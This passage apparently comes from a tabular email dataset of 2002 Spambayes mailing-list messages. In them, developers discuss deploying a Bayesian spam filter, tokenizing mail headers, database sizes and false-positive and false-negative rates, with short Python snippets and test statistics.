most individuals very well, but each individual (or group?) should collect their own corpus. One problem that comes upp immediately: individuals are lazy. If I currently get 50 spam and 50 ham a day, and I'll have to press the 'delete' button once for each spam, I'll be happy to press the 'spam' button instead. However, if in addition have to press a 'ham' button for each ham, it starts to look much less like a win to me. Add the time to install and setup the whole machinery, and I'll just keep hitting delete. The suggestions so far have been to hook something on the delete action, that adds a message to the ham corpus. I see two problems with this: the ham will be a bit skewed; mail that I keep around without deleting will not be counted. Secondly, if I by force of habit happen to press the 'delete' key instead of the 'spam' key, I'll end up with spam in the ham, anyways. I would like to look for a way to deal with spam in the ham. The obvious thing to do is to trigger on the 'spam' button, and at that time look for messages similar to the deleted one in the ham corpus, and simply remove them. To do this we need a way to compare two word count histograms, to see how similar they are. Any ideas ? Also, I personally would prefer to not see the spam at all. If they get bounced (preferably already in the SMTP), false positives become the senders problem, to rewrite to remove the spam smell. In a well tuned system then, there spam corpus will be much smaller than the ham corpus, so it would be possible to be slightly over-agressive when clearing potential spam from the ham corpus. This should make it easier to keep it clean. Having a good way to remove spam from the ham corpus, there's less need to worry about it getting there by mistake, and we might as well simply add all messages to the ham corpus, that didn't get deleted by the spam filtering. It might also be useful to have a way to remove messages from the spam corpus, in case of user ooops. /Paul",0,0 guido@python.org (Guido van Rossum),,"Fri, 06 Sep 2002 12:27:01 -0400",[Spambayes] Deployment,"> I guess MUA-level filtering is just a fallback for people who don't have > 1) a burning, all-consuming hatred of junk mail, 2) root access to all > mail servers they rely on, and 3) the ability and inclination to install > an MTA with every bell and whistle tweaked to keep out junk mail. Sure. But for most people, changing their company's or ISP's server requires years of lobbying, while they have total and immediate control over their own MUA. That said, I agree that we should offer a good solution to postmasters, and I trust that your ideas are right on the mark! --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 jeremy@alum.mit.edu (Jeremy Hylton),,"Fri, 6 Sep 2002 12:28:09 -0400",[Spambayes] Deployment,"I think one step towards deployment is creating a re-usable tokenizer for mail messages. The current codebase doesn't expose an easy-to-use or easy-to-customize tokenizer. The timtest module seems to contain an enormous body of practical knowledge about how to parse mail messages, but the module wasn't designed for re-use. I'd like to see a module that can take a single message or a collection of messages and tokenize each one. I'd like to see the tokenize by customizable, too. Tim had to exclude some headers from his test data, because there were particular biases in the test data. If other people have test data without those biases, they ought to be able to customize the tokenizer to include them or exclude others. Jeremy",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 12:45:09 -0400",[Spambayes] test sets?,"[Barry A. Warsaw, gives answers and asks questions] Here's the code that produced the header tokens: x2n = {} for x in msg.keys(): x2n[x] = x2n.get(x, 0) + 1 for x in x2n.items(): yield ""header:%s:%d"" % x Some responses: > 0.01 19 3559 'header:X-Mailman-Version:1' > 0.01 19 3559 'header:List-Id:1' > 0.01 19 3557 'header:X-BeenThere:1' > > These three are definitely MM artifacts, although the second one > /could/ be inserted by other list management software (it's described > in an RFC). Since all the ham came from Mailman, and only 19 spam had it, it's quite safe to assume then that I should ignore these for now. > 0.01 0 3093 'header:Newsgroups:1' > 0.01 0 3054 'header:Xref:1' > 0.01 0 3053 'header:Path:1' > > These aren't MM artifacts, but are byproducts of gating a message off > of an nntp feed. Some of the other NNTP-* headers are similar, but I > won't point them out below. I should ignore these too then. > 0.01 19 2668 'header:List-Unsubscribe:1' > 0.01 19 2668 'header:List-Subscribe:1' > 0.01 19 2668 'header:List-Post:1' > 0.01 19 2668 'header:List-Help:1' > 0.01 19 2668 'header:List-Archive:1' > > RFC recommended generic listserve headers that MM injects. Ditto. > So why do you get two entries for this one? > > 0.99 519 0 'header:Received:8' > 0.99 466 1 'header:Received:7' Read the code . The first line counts msgs that had 8 instances of a 'Received' header, and the second counts msgs that had 7 instances. I expect this is a good clue! The more indirect the mail path, the more of those thingies we'll see, and if you're posting from a spam trailer park in Tasmania you may well need to travel thru more machines. > ... > Note that header names are case insensitive, so this one's no > different than ""MIME-Version:"". Similarly other headers in your list. Ignoring case here may or may not help; that's for experiment to decide. It's plausible that case is significant, if, e.g., a particular spam mailing package generates unusual case, or a particular clueless spammer misconfigures his package. > 0.02 65 3559 'header:Precedence:1' > > Could be Mailman, or not. This header is supposed to tell other > automated software that this message was automated. E.g. a replybot > should ignore any message with a Precedence: {bulk|junk|list}. Rule of thumb: if Mailman inserts a thing, I should ignore it. Or, better, I should stop trying to out-think the flaws in the test data and get better test data instead! > 0.50 4 0 'header:2:1' > > !? > ... > 0.50 0 2 'header:' > > Heh? I sucked out all the wordinfo keys that began with ""header:"". The last line there was probably due to unrelated instances of the string ""header:"" in message bodies. Harder to guess about the first line. > ... > Some headers of course are totally unreliable as to their origin. I'm > thinking stuff like MIME-Version, Content-Type, To, From, etc, etc. > Everyone sticks those in. The brilliance of Anthony's ""just count them"" scheme is that it requires no thought, so can't be fooled . Header lines that are evenly distributed across spam and ham will turn out to be worthless indicators (prob near 0.5), so do no harm.",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 12:55:07 -0400",[Spambayes] test sets?,"[Anthony Baxter] > The other thing on my todo list (probably tonight's tram ride home) is > to add all headers from non-text parts of multipart messages. If nothing > else, it'll pick up most virus email real quick. See the checkin comments for timtest.py last night. Adding this code gave a major reduction in the false negative rate: def crack_content_xyz(msg): x = msg.get_type() if x is not None: yield 'content-type:' + x.lower() x = msg.get_param('type') if x is not None: yield 'content-type/type:' + x.lower() for x in msg.get_charsets(None): if x is not None: yield 'charset:' + x.lower() x = msg.get('content-disposition') if x is not None: yield 'content-disposition:' + x.lower() fname = msg.get_filename() if fname is not None: for x in fname.lower().split('/'): for y in x.split('.'): yield 'filename:' + y x = msg.get('content-transfer-encoding:') if x is not None: yield 'content-transfer-encoding:' + x.lower() ... t = '' for x in msg.walk(): for w in crack_content_xyz(x): yield t + w t = '>' I *suspect* most of that stuff didn't make any difference, but I put it all in as one blob so don't know which parts did and didn't help.",0,0 barry@python.org (Barry A. Warsaw),,"Fri, 6 Sep 2002 12:59:49 -0400",[Spambayes] test sets?,"TP> A false positive *really* has to work hard then, eh? The long TP> quote of a Nigerian scam letter is one of the two that made TP> it, and spamprob() looked at all this stuff before deciding it TP> was spam: Here's an interesting thing to test: discriminate words differently if they are on a line that starts with `>' or, to catch styles like above, that the first occurance on a line of < or > is > (to eliminate html). Then again, it may not be worth trying to un-false-positive that Nigerian scam quote. -Barry",0,0 neale@woozle.org (Neale Pickett),,06 Sep 2002 10:13:17 -0700,[Spambayes] Deployment,"So then, Guido van Rossum is all like: > > Basic procmail usage goes something like this: > > > > :0fw > > | spamassassin -P > > > > :0 > > * ^X-Spam-Status: Yes > > $SPAM > > > > Do you feel capable of writing such a tool? It doesn't look too hard. Not to beat a dead horse, but that's exactly what my spamcan package did. For those just tuning in, spamcan is a thingy I wrote before I knew about Tim & co's work on this crazy stuff; you can download it from , but I'm not going to work on it anymore. I'm currently writing a new one based on classifier (and timtest's booty-kicking tokenizer). I'll probably have something soon, like maybe half an hour, and no, it's not too hard. The hard part is storing the data somewhere. I don't want to use ZODB, as I'd like something a person can just drop in with a default Python install. So anydbm is looking like my best option. I already have a setup like this using Xavier Leroy's SpamOracle, which does the same sort of thing. You call it from procmail, it adds a new header, and then you can filter on that header. Really easy. Here's how I envision this working. Everybody gets four new mailboxes: train-eggs train-spam trained-eggs trained-spam You copy all your spam and eggs* into the ""train-"" boxes as you get it. How frequently you do this would be up to you, but you'd get better results if you did it more often, and you'd be wise to always copy over anything which was misclassified. Then, every night, the spam fairy swoops down and reads through your folders, learning about what sorts of things you think are eggs and what sorts of things are spam. After she's done, she moves your mail into the ""trained-"" folders. This would work for anybody using IMAP on a Unix box, or folks who read their mail right off the server. I've spoken with some fellows at work about Exchange and they seem to beleive that Exchange exports appropriate functionality to implement a spam fairy as well. Advanced users could stay ahead of the game by reprogramming their mail client to bind the key ""S"" to ""move to train-spam"" and ""H"" to ""move to train-eggs"". Eventually, if enough people used this sort of thing, it'd start showing up in mail clients. That's the ""delete as spam"" button Paul Graham was talking about. * The Hormel company might not think well of using the word ""ham"" as the opposite of ""spam"", and they've been amazingly cool about the use of their product name for things thus far. So I propose we start calling non-spam something more innocuous (and more Monty Pythonic) such as ""eggs"". Neale",0,1 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 13:35:55 -0400",[Spambayes] Deployment,"[Jeremy Hylton] > I think one step towards deployment is creating a re-usable tokenizer > for mail messages. The current codebase doesn't expose an easy-to-use > or easy-to-customize tokenizer. tokenize() couldn't be easier to use: it takes a string argument, and produces a stream of tokens (whether via explicit list, or generator, or tuple, or ... doesn't matter). All the tokenize() functions in GBayes.py and timtest.py are freely interchangeable this way. Note that we have no evidence to support that a customizable tokenizer would do any good, or, if it would, in which ways customization could be helpful. That's a research issue on which no work has been done. > The timtest module seems to contain an enormous body of practical > knowledge about how to parse mail messages, but the module wasn't > designed for re-use. That's partly a failure of imagination . Splitting out all knowledge of tokenization is just a large block cut-and-paste ... there, it's done. Change the from timtoken import tokenize at the top to use any other tokenizer now. If you want to make it easier still, feel free to check in something better. > I'd like to see a module that can take a single message or a collection of > messages and tokenize each one. The Msg and MsgStream classes in timtest.py are a start at that, but it's hard to do anything truly *useful* here when people use all sorts of different physical representations for email msgs (mboxes in various formats, one file per ""folder"", one file per msg, Skip's gzipped gimmick, ...). If you're a Python coder , you *should* find it very easy to change the guts of Msg and MsgStream to handle your peculiar scheme. Defining interfaces for these guys should be done. > I'd like to see the tokenize by customizable, too. Tim had to exclude > some headers from his test data, because there were particular biases > in the test data. If other people have test data without those > biases, they ought to be able to customize the tokenizer to include > them or exclude others. This sounds like a bottomless pit to me, and there's no easier way to customize than to edit the code. As README.txt still says, though, massive refactoring would help. Hop to it!",0,0 whisper@oz.net (David LeBlanc),,"Fri, 6 Sep 2002 10:53:24 -0700",[Spambayes] Deployment,"I think that when considering deployment, a solution that supports all Python platforms and not just the L|Unix crowd is desirable. Mac and PC users are more apt to be using a commercial MUA that's unlikely to offer hooking ability (at least not easily). As mentioned elsewhere, even L|Unix users may find an MUA solution easier to use then getting it added to their MTA. (SysOps make programmers look like flaming liberals ;).) My notion of a solution for Windows/Outlook has been, as Guido described, a client-server. Client side does pop3/imap/mapi fetching (of which, I'm only going to implement pop3 initially) potentially on several hosts, spamhams the incoming mail and puts it into one file per message (qmail style?). The MUA accesses this ""eThunk"" as a server to obtain all the ham. Spam is retained in the eThunk and a simple viewer would be used for manual oversight on the spam for ultimate rejection (and training of spam filter) and the ham will go forward (after being used for training) on the next MUA fetch. eThunk would sit on a timer for 'always online' users, but I am not clear on how to support dialup users with this scheme. Outbound mail would use a direct path from the MUA to the MTA. Hopefully all MUAs can split the host fetch/send URL's IMO, end users are likely to be more intested in n-way classification. If this is available, the ""simple viewer"" could be enhanced to support viewing via folders and (at least for me) the Outlook nightmare is over - I would use this as my only MUA. (N.B. according to my recent readings, the best n-way classifier uses something called a ""Support Vector Machine"" (SVM) which is 5-8% more accurate then Naive Bayes (NB) ). I wonder if the focus of spambayes ought not to be a classifier that leaves the fetching and feeding of messages to auxillary code? That way, it could be dropped into whatever harness that suited the user's situation. David LeBlanc Seattle, WA USA",0,0 guido@python.org (Guido van Rossum),,"Fri, 06 Sep 2002 13:58:14 -0400",[Spambayes] Deployment,"> I wonder if the focus of spambayes ought not to be a classifier that > leaves the fetching and feeding of messages to auxillary code? That > way, it could be dropped into whatever harness that suited the > user's situation. I see no reason to restrict the project to developing the classifier and leave the deployment to others. Attempts at deployment in the real world will surely provide additional feedback for the classifier. --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 gward@python.net (Greg Ward),,"Fri, 6 Sep 2002 14:02:23 -0400",[Spambayes] test sets?,"On 06 September 2002, Tim Peters said: > > Note that header names are case insensitive, so this one's no > > different than ""MIME-Version:"". Similarly other headers in your list. > > Ignoring case here may or may not help; that's for experiment to decide. > It's plausible that case is significant, if, e.g., a particular spam mailing > package generates unusual case, or a particular clueless spammer > misconfigures his package. Case of headers is definitely helpful. SpamAssassin has a rule for it -- if you have headers like ""DATE"" or ""SUBJECT"", you get a few more points. Greg -- Greg Ward http://www.gerg.ca/ God is omnipotent, omniscient, and omnibenevolent ---it says so right here on the label.",0,1 skip@pobox.com (Skip Montanaro),,"Fri, 6 Sep 2002 13:48:35 -0500",[Spambayes] Deployment,"Greg> In case it wasn't obvious, I'm a strong proponent of filtering Greg> junk mail as early as possible, ie. right after the SMTP DATA Greg> command has been completed. Filtering spam at the MUA just seems Greg> stupid to me -- by the time it gets to me MUA, the spammer has Greg> already stolen my bandwidth. The two problems I see with filtering that early are: 1. Everyone receiving email via that server will contribute ham to the stew, making the Bayesian classification less effective. 2. Given that there will be some false positives, you absolutely have to put the mail somewhere. You can't simply delete it. (I also don't like the TMDA-ish business of replying with a msg that says, ""here's what you do to really get your message to me."" That puts an extra burden on my correspondents.) As an individual, I would prefer you put spammish messages somewhere where I can review them, not an anonymous sysadmin who I might not trust with my personal email (nothing against you Greg ;-). I personally prefer to manage this stuff at the user agent level. Bandwidth is a heck of a lot cheaper than my time. Skip",0,0 harri.pasanen@bigfoot.com (Harri Pasanen),,"Fri, 6 Sep 2002 21:07:28 +0200",[Spambayes] Deployment,"On Friday 06 September 2002 20:48, Skip Montanaro wrote: > Greg> In case it wasn't obvious, I'm a strong proponent of > filtering Greg> junk mail as early as possible, ie. right after the > SMTP DATA Greg> command has been completed. Filtering spam at the > MUA just seems Greg> stupid to me -- by the time it gets to me MUA, > the spammer has Greg> already stolen my bandwidth. > > The two problems I see with filtering that early are: > > 1. Everyone receiving email via that server will contribute ham > to the stew, making the Bayesian classification less effective. > > 2. Given that there will be some false positives, you absolutely > have to put the mail somewhere. You can't simply delete it. (I also > don't like the TMDA-ish business of replying with a msg that says, > ""here's what you do to really get your message to me."" That puts an > extra burden on my correspondents.) As an individual, I would prefer > you put spammish messages somewhere where I can review them, not an > anonymous sysadmin who I might not trust with my personal email > (nothing against you Greg ;-). > > I personally prefer to manage this stuff at the user agent level. > Bandwidth is a heck of a lot cheaper than my time. > I see no reason why both approaches could and should not be used. MTA level filtering would just need to use a different corpus, one that would contain illegal or otherwise commonly unapproved material for the group of people using that MTA. I'm sure that such an approach would significantly reduce the mail traffic as a first step, without giving false positives. MUA corpus would then be personally trained -- although I'd like the option of 'down-loadable' corpuses and merge functionality. Harri PS. Just joined the list, so pardon if my thoughts have been hashed through before.",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 15:24:15 -0400",[Spambayes] Deployment,"[Guido] > ... > - A program that acts both as a pop client and a pop server. You > configure it by telling it about your real pop servers. You then > point your mail reader to the pop server at localhost. When it > receives a connection, it connects to the remote pop servers, reads > your mail, and gives you only the non-spam. FYI, I'll never trust such a scheme: I have no tolerance for false positives, and indeed do nothing to try to block spam on any of my email accounts now for that reason. Deliver all suspected spam to a Spam folder instead and I'd love it.",0,0 guido@python.org (Guido van Rossum),,"Fri, 06 Sep 2002 15:24:38 -0400",[Spambayes] Deployment,"> > - A program that acts both as a pop client and a pop server. You > > configure it by telling it about your real pop servers. You then > > point your mail reader to the pop server at localhost. When it > > receives a connection, it connects to the remote pop servers, reads > > your mail, and gives you only the non-spam. > > FYI, I'll never trust such a scheme: I have no tolerance for false > positives, and indeed do nothing to try to block spam on any of my email > accounts now for that reason. Deliver all suspected spam to a Spam folder > instead and I'd love it. Another config parameter. The filter could add a header file. Or a ~ to the subject if you like that style. :-) --Guido van Rossum (home page: http://www.python.org/~guido/)",0,1 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 15:21:22 -0400",[Spambayes] Deployment,"[Guido] > ... > I don't know how big that pickle would be, maybe loading it each time > is fine. Or maybe marshalling.) My tests train on about 7,000 msgs, and a binary pickle of the database is approaching 10 million bytes. I haven't done anything to try to reduce its size, and know of some specific problem areas (for example, doing character 5-grams of ""long words"" containing high-bit characters generates a lot of database entries, and I suspect they're approximately worthless). OTOH, adding in more headers will increase the size. So let's call it 10 meg .",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 15:43:56 -0400",[Spambayes] Deployment,"[Guido] > Takers? How is ESR's bogofilter packaged? SpamAssassin? The Perl > Bayes filter advertised on slashdot? WRT the last, it's a small pile of Windows .exe files along with cygwin1.dll. The .exes are cmdline programs. One is a POP3 proxy. If I currently have an email server named, say, mail.comcast.net, with user name timmy, then I change my email reader to say that my server is 127.0.0.1, and that my user name on that server is mail.comcast.net:timmy. In that way the proxy picks up both the real server and user names from what the mail reader tells it the user name is. This is an N-way classifier (like ifile that way), and ""all it does"" is insert a X-Text-Classification: one_of_the_class_names_you_picked header into your email before passing it on to your mail reader. The user then presumably fiddles their mail reader to look for such headers and ""do something about it"" (and even Outlook can handle *that* much ). The user is responsible for generating text files with appropriate examples of each class of message, and for running the cmdline tools to train the classifier.",0,0 whisper@oz.net (David LeBlanc),,"Fri, 6 Sep 2002 12:53:36 -0700",[Spambayes] Deployment,"You missed the part that said that spam is kept in the ""eThunk"" and was viewable by a simple viewer for final disposition? Of course, with Outbloat, you could fire up PythonWin and stuff the spam into the Junk Email folder... but then you loose the ability to retrain on the user classified ham/spam. David LeBlanc Seattle, WA USA > -----Original Message----- > From: spambayes-bounces+whisper=oz.net@python.org > [mailto:spambayes-bounces+whisper=oz.net@python.org]On Behalf Of Tim > Peters > Sent: Friday, September 06, 2002 12:24 > To: spambayes@python.org > Subject: RE: [Spambayes] Deployment > > > [Guido] > > ... > > - A program that acts both as a pop client and a pop server. You > > configure it by telling it about your real pop servers. You then > > point your mail reader to the pop server at localhost. When it > > receives a connection, it connects to the remote pop servers, reads > > your mail, and gives you only the non-spam. > > FYI, I'll never trust such a scheme: I have no tolerance for false > positives, and indeed do nothing to try to block spam on any of my email > accounts now for that reason. Deliver all suspected spam to a Spam folder > instead and I'd love it. > > > _______________________________________________ > Spambayes mailing list > Spambayes@python.org > http://mail.python.org/mailman-21/listinfo/spambayes",0,1 neale@woozle.org (Neale Pickett),,06 Sep 2002 12:58:33 -0700,[Spambayes] Deployment,"So then, Tim Peters is all like: > [Guido] > > ... > > I don't know how big that pickle would be, maybe loading it each time > > is fine. Or maybe marshalling.) > > My tests train on about 7,000 msgs, and a binary pickle of the database is > approaching 10 million bytes. My paltry 3000-message training set makes a 6.3MB (where 1MB=1e6 bytes) pickle. hammie.py, which I just checked in, will optionally let you write stuff out to a dbm file. With that same message base, the dbm file weighs in at a hefty 21.4MB. It also takes longer to write: Using a database: real 8m24.741s user 6m19.410s sys 1m33.650s Using a pickle: real 1m39.824s user 1m36.400s sys 0m2.160s This is on a PIII at 551.257MHz (I don't know what it's *supposed* to be, 551.257 is what /proc/cpuinfo says). For comparison, SpamOracle (currently the gold standard in my mind, at least for speed) on the same data blazes along: real 0m29.592s user 0m28.050s sys 0m1.180s Its data file, which appears to be a marshalled hash, is 448KB. However, it's compiled O'Caml and it uses a much simpler tokenizing algorithm written with a lexical analyzer (ocamllex), so we'll never be able to outperform it. It's something to keep in mind, though. I don't have statistics yet for scanning unknown messages. (Actually, I do, and the database blows the pickle out of the water, but it scores every word with 0.00, so I'm not sure that's a fair test. ;) In any case, 21MB per user is probably too large, and 10MB is questionable. On the other hand, my pickle compressed very well with gzip, shrinking down to 1.8MB. Neale",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 17:32:21 -0400",[Spambayes] Deployment,"[Tim] > My tests train on about 7,000 msgs, and a binary pickle of the database is > approaching 10 million bytes. That shrinks to under 2 million bytes, though, if I delete all the WordInfo records with spamprob exactly equal to UNKNOWN_SPAMPROB. Such records aren't needed when scoring (an unknown word gets a made-up probability of UNKNOWN_SPAMPROB). Such records are only needed for training; I've noted before that a scoring-only database can be leaner. In part the bloat is due to character 5-gram'ing, part due to that the database is brand new so has never been cleaned via clearjunk(), and part due to plain evil gremlins.",0,0 neale@woozle.org (Neale Pickett),,06 Sep 2002 14:44:33 -0700,[Spambayes] Deployment,"So then, Tim Peters is all like: > [Tim] > > My tests train on about 7,000 msgs, and a binary pickle of the database is > > approaching 10 million bytes. > > That shrinks to under 2 million bytes, though, if I delete all the WordInfo > records with spamprob exactly equal to UNKNOWN_SPAMPROB. Such records > aren't needed when scoring (an unknown word gets a made-up probability of > UNKNOWN_SPAMPROB). Such records are only needed for training; I've noted > before that a scoring-only database can be leaner. That's pretty good. I wonder how much better you could do by using some custom pickler. I just checked my little dbm file and found a lot of what I would call bloat: >>> import anydbm, hammie >>> d = hammie.PersistentGrahamBayes(""ham.db"") >>> db = anydbm.open(""ham.db"") >>> db[""neale""], len(db[""neale""]) ('ccopy_reg\n_reconstructor\nq\x01(cclassifier\nWordInfo\nq\x02c__builtin__\nobject\nq\x03NtRq\x04(GA\xce\xbc{\xfd\x94\xbboK\x00K\x00K\x00G?\xe0\x00\x00\x00\x00\x00\x00tb.', 106) >>> d.wordinfo[""neale""], len(`d.wordinfo[""neale""]`) (WordInfo'(1031337979.16197, 0, 0, 0, 0.5)', 42) Ignoring the fact that there are too many zeros in there, the pickled version of that WordInfo object is over twice as large as the string representation. So we could get a 50% decrease in size just by using the string representation instead of the pickle, right? Something about that logic seems wrong to me, but I can't see what it is. Maybe pickling is good for heterogeneous data types, but every value of our big dictionary is going to have the same type, so there's a ton of redundancy. I guess that explains why it compressed so well. Neale",0,0 skip@pobox.com (Skip Montanaro),,"Fri, 6 Sep 2002 17:39:48 -0500",[Spambayes] understanding high false negative rate,">> > ##Remove: jeremy@alum.mit.edu## Tim> Yuck: it got two 0.01's from embedding your email address at the Tim> bottom here. Which suggests that tagging email addresses in To/CC headers should be handled differently than in message bodies? Skip",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 19:03:58 -0400",[Spambayes] understanding high false negative rate,"> >> > ##Remove: jeremy@alum.mit.edu## > > Tim> Yuck: it got two 0.01's from embedding your email address at the > Tim> bottom here. > > Which suggests that tagging email addresses in To/CC headers should be > handled differently than in message bodies? I don't know whether it suggests that, but they would be tagged differently in to/cc if I were tagging them at all right now. If I were tagging To: addresses, for example, the tokens would look like 'to:email addr:mit' instead of 'email addr:mit' as they appear when an email-like thingie is found in the body. Whether email addresses should be stuck in as one blob or split up as they are now is something I haven't tested.",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 19:21:15 -0400",[Spambayes] [ANN] Trained classifier available,"http://sf.net/project/showfiles.php?group_id=61702 This is the binary pickle of my classifier after training on my first spam/ham corpora pair. All records with spamprob == UNKNOWN_SPAMPROB have been purged. It's in a zip file, and is only half a meg. Jeremy, it would be interesting if you tried that on your data. The false negative rates across my other 4 test sets when run against this are: 0.364% 0.400% 0.400% 0.909%",0,1 jeremy@alum.mit.edu (Jeremy Hylton),,"Fri, 6 Sep 2002 20:00:14 -0400",[Spambayes] understanding high false negative rate,">>>>> ""TP"" == Tim Peters writes: >> The false positive rate is 0-3%. (Finally! I had to scrub a >> bunch of previously unnoticed spam from my inbox.) Both >> collections have about 1100 messages. TP> Does this mean you trained on about 1100 of each? The total collections are 1100 messages. I trained with 1100/5 messages. TP> Can't guess. You're in a good position to start adding more TP> headers into the analysis, though. For example, an easy start TP> would be to uncomment the header-counting lines in tokenize() TP> (look for ""Anthony""). Likely the most valuable thing it's TP> missing then is some special parsing and tagging of Received TP> headers. I tried the ""Anthony"" stuff, but it didn't make any appreciable difference that I could see from staring at the false negative rate. The numbers are big enough that a quick eyeball suffices. Then I tried a dirt simple tokenizer for the headers that tokenize the words in the header and emitted like this ""%s: %s"" % (hdr, word). That worked too well :-). The received and date headers helped the classifier discover that most of my spam is old and most of my ham is new. So I tried a slightly more complex one that skipped received, data, and x-from_, which all contained timestamps. I also skipped the X-VM- headers that my mail reader added: class MyTokenizer(Tokenizer): skip = {'received': 1, 'date': 1, 'x-from_': 1, } def tokenize_headers(self, msg): for k, v in msg.items(): k = k.lower() if k in self.skip or k.startswith('x-vm'): continue for w in subject_word_re.findall(v): for t in tokenize_word(w): yield ""%s:%s"" % (k, t) This did moderately better. The false negative rate is 7-21% over the tests performed so far. This is versus 11-28% for the previous test run that used the timtest header tokenizer. It's interesting to see that the best descriminators are all ham discriminators. There's not a single spam-indicator in the list. Most of the discriminators are header fields. One thing to note is that the presence of Mailman-generated headers is a strong non-spam indicator. That matches my intuition: I got an awful lot of Mailman-generated mail, and those lists are pretty good at surpressing spam. The other thing is that I get a lot of ham from people who use XEmacs. That's probably Barry, Guido, Fred, and me :-). One final note. It looks like many of the false positives are from people I've never met with questions about Shakespeare. They often start with stuff like: > Dear Sir/Madam, > > May I please take some of your precious time to ask you to help me to find a > solution to a problem that is worrying me greatly. I am old science student I guess that reads a lot like spam :-(. Jeremy 238 hams & 221 spams false positive: 2.10084033613 false negative: 9.50226244344 new false positives: [] new false negatives: [] best discriminators: 'x-mailscanner:clean' 671 0.0483425 'x-spam-status:IN_REP_TO' 679 0.01 'delivered-to:skip:s 10' 691 0.0829876 'x-mailer:Lucid' 699 0.01 'x-mailer:XEmacs' 699 0.01 'x-mailer:patch' 699 0.01 'x-mailer:under' 709 0.01 'x-mailscanner:Found' 716 0.0479124 'cc:zope.com' 718 0.01 ""i'll"" 750 0.01 'references:skip:1 20' 767 0.01 'rossum' 795 0.01 'x-spam-status:skip:S 10' 825 0.01 'van' 850 0.01 'http0:zope' 869 0.01 'email addr:zope' 883 0.01 'from:python.org' 895 0.01 'to:jeremy' 902 0.185401 'zope' 984 0.01 'list-archive:skip:m 10' 1058 0.01 'list-subscribe:skip:m 10' 1058 0.01 'list-unsubscribe:skip:m 10' 1058 0.01 'from:zope.com' 1098 0.01 'return-path:zope.com' 1115 0.01 'wrote:' 1129 0.01 'jeremy' 1150 0.01 'email addr:python' 1257 0.01 'x-mailman-version:2.0.13' 1311 0.01 'x-mailman-version:101270' 1395 0.01 'python' 1401 0.01",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 20:06:56 -0400",[Spambayes] Ditching WordInfo,"[Neale Pickett] > I hacked up something to turn WordInfo into a tuple before pickling, That's what WordInfo.__getstate__ does. > and then turn the tuple back into WordInfo right after unpickling. Likewise for WordInfo.__setstate__. > Without this hack, my database was 21549056 bytes. After, it's 9945088 bytes. > That's a 50% savings, not a bad optimization. I'm not sure what you're doing, but suspect you're storing individual WordInfo pickles. If so, most of the administrative pickle bloat is due to that, and doesn't happen if you pickle an entire classifier instance directly. > So my question is, would it be too painful to ditch WordInfo in favor of > a straight out tuple? (Or list if you'd rather, although making it a > tuple has the nice side-effect of forcing you to play nice with my > DBDict class). > > I hope doing this sort of optimization isn't too far distant from the > goal of this project, even though README.txt says it is :) > > Diff attached. I'm not comfortable checking this in, I think it's healthy that you're uncomfortable checking things in with > + # XXX: kludge kludge kludge. comments . > since I don't really like how it works (I'd rather just get rid of WordInfo). > But I guess it proves the point :) I'm not interested in optimizing anything yet, and get many benefits from the *ease* of working with utterly vanilla Python instance objects. Lots of code all over picks these apart for display and analysis purposes. Very few people have tried this code yet, and there are still many questions about it (see, e.g., Jeremy's writeup of his disappointing first-time experiences today). Let's keep it as easy as possible to modify for now. If you're desparate to save memory, write a subclass? Other people are free to vote in other directions, of course .",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 20:18:18 -0400",[Spambayes] test sets?,"[Barry] > Here's an interesting thing to test: discriminate words differently if > they are on a line that starts with `>' or, to catch styles like > above, that the first occurance on a line of < or > is > (to eliminate > html). Give me a mod to timtoken.py that does this, and I'll be happy to test it. > Then again, it may not be worth trying to un-false-positive that > Nigerian scam quote. If there's any sanity in the world, even the original poster would be glad to have his kneejerk response blocked . OTOH, you know there are a great many msgs on c.l.py (all over Usenet) that do nothing except quote a previous post and add a one-line comment. Remove the quoted sections from those, and there may be no content left to judge except for the headers. So I can see this nudging the stats in either direction. The only way to find out for sure is for you to write some code .",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 20:32:26 -0400",[Spambayes] understanding high false negative rate,"[Jeremy Hylton[ > The total collections are 1100 messages. I trained with 1100/5 > messages. I'm reading this now as that you trained on about 220 spam and about 220 ham. That's less than 10% of the sizes of the training sets I've been using. Please try an experiment: train on 550 of each, and test once against the other 550 of each. Do that a few times making a random split each time (it won't be long until you discover why directories of individual files are a lot easier to work -- e.g., random.shuffle() makes this kind of thing trivial for me).",0,0 tim.one@comcast.net (Tim Peters),,"Fri, 06 Sep 2002 22:51:24 -0400",[Spambayes] understanding high false negative rate,"[Jeremy] > The total collections are 1100 messages. I trained with 1100/5 > messages. While that's not a lot of training data, I picked random subsets of my corpora and got much better behavior (this is rates.py output; f-p rate per run in left column, f-n rate in right): Training on Data/Ham/Set1 & Data/Spam/Set1 ... 220 hams & 220 spams 0.000 1.364 0.000 0.455 0.000 1.818 0.000 1.364 Training on Data/Ham/Set2 & Data/Spam/Set2 ... 220 hams & 220 spams 0.455 2.727 0.455 0.455 0.000 0.909 0.455 2.273 Training on Data/Ham/Set3 & Data/Spam/Set3 ... 220 hams & 220 spams 0.000 2.727 0.455 0.909 0.000 0.909 0.000 1.818 Training on Data/Ham/Set4 & Data/Spam/Set4 ... 220 hams & 220 spams 0.000 2.727 0.000 0.909 0.000 0.909 0.000 1.818 Training on Data/Ham/Set5 & Data/Spam/Set5 ... 220 hams & 220 spams 0.000 1.818 0.000 1.364 0.000 0.909 0.000 2.273 total false pos 4 0.363636363636 total false neg 29 2.63636363636 Another full run with another randomly chosen (but disjoint) 220 of each in each set was much the same. The score distribution is also quite sharp: Ham distribution for all runs: * = 74 items 0.00 4381 ************************************************************ 2.50 3 * 5.00 3 * 7.50 1 * 10.00 0 12.50 0 15.00 1 * 17.50 1 * 20.00 1 * 22.50 0 25.00 0 27.50 0 30.00 1 * 32.50 0 